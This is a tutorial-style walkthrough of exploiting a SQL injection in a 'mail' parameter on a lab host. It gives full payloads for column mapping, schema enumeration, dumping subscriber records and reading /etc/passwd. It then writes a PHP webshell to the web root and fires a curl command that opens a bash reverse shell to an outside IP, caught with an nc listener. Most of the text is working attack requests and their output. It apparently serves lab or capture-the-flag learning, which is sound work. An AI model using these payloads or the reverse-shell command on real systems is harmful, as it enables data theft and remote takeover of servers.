Published on April 23, 2025
In this walkthrough, we’ll exploit a SQL injection vulnerability (mysql server) in the mail
parameter on http://example.lab/index.php
. You’ll see how to go from a simple syntax error all the way to dumping data, reading server files, writing a webshell, and finally spawning a reverse shell.
http://example.lab/index.php?mail='
Response: MySQL syntax error near '
confirms the parameter is injected unescaped inside a quoted string.
http://example.lab/index.php?mail=qsdf@toto.dsq'+or+1=1+--
Response: Another syntax error—our comment didn’t terminate correctly. We need to adjust how we close the quote and comment.
http://example.lab/index.php?mail=qsddsq'+or+1=1+--+//
Response: <span>active</span><span>On-Hold</span><span>none</span>
We’ve bypassed the WHERE clause and see real “status” values returned.
http://example.lab/index.php?mail=qsdf@toto.dsq'+or+1=1+in+(SELECT+*+FROM+mysql.user)+--+//
Response: SELECT command denied to user 'martin'@'localhost' for table 'user'
The database user can’t read mysql.user
, so we must target the application schema.
http://example.lab/index.php?mail=qsdf@toto.dsq'+ORDER+BY+1--+//
http://example.lab/index.php?mail=qsdf@toto.dsq'+ORDER+BY+2--+//
http://example.lab/index.php?mail=qsdf@toto.dsq'+ORDER+BY+7--+//
Responses: first two yield blank page (valid), the third errors with “Unknown column '7'”.
⇒ The original query returns at most 6 columns.
http://example.lab/index.php?mail=qsdf@toto.dsq'+UNION+SELECT+'a1','a2','a3','a4','a5','a6'+--+//
Response: <span>a5</span>
Only the 5th column is rendered. That’s our injection slot.
http://example.lab/index.php?mail=qsdf@toto.dsq'+UNION+SELECT+null,null,null,null,database(),null+--+//
Response: <span>animal_planet</span>
We’re in the animal_planet
schema.
http://example.lab/index.php?mail=qsdf@toto.dsq'+UNION+SELECT+null,null,null,null,GROUP_CONCAT(database(),0x3a,version(),0x3a,user()),null+--
Response: <span>animal_planet:8.0.29:martin@localhost</span>
http://example.lab/index.php?mail=qsdf@toto.dsq'+UNION+SELECT+null,null,null,null,GROUP_CONCAT(table_name),null+from+information_schema.tables+where+table_schema=database)+--+//
Response: <span>subscribers</span>
Only one table exists: subscribers
.
http://example.lab/index.php?mail=qsdf@toto.dsq'+UNION+SELECT+null,null,null,null,GROUP_CONCAT(column_name),null+from+information_schema.columns+where+table_schema=database()+--+//
Response: <span>id,emails,is_donor,donor_type,status,created_at</span>
http://example.lab/index.php?mail=qsdf@toto.dsq'+UNION+SELECT+null,null,null,null,
GROUP_CONCAT(id,0x3a,emails,0x3a,is_donor,0x3a,donor_type,0x3a,status,0x3a,created_at+SEPARATOR+0x2c),null+from+subscribers+--+//
Response: all six rows of subscriber records, concatenated and separated by commas.
http://example.lab/index.php?mail=qsdf@toto.dsq'+UNION+SELECT+null,null,null,null,LOAD_FILE('/etc/passwd'),null+--+//
Response: contents of /etc/passwd
—proof that LOAD_FILE()
works.
http://example.lab/index.php?mail=qsdf@toto.dsq'+UNION+SELECT+null,null,null,null,"<?php system(\$_GET['cmd']);?>",null+INTO+OUTFILE+"/var/www/html/webshell.php"+--+//
Blank response indicates the file was created successfully in the web root.
curl "http://example.lab/webshell.php?cmd=bash%20-c%20'bash%20-i%20%3E%26%20/dev/tcp/192.168.45.239/4444%200%3E%261'"
nc -lvnp 4444
Listener shows a connection from the target. Full interactive shell achieved!
ORDER BY
and UNION SELECT
to map columns.information_schema
to enumerate schema.GROUP_CONCAT
.LOAD_FILE()
, write code with INTO OUTFILE
.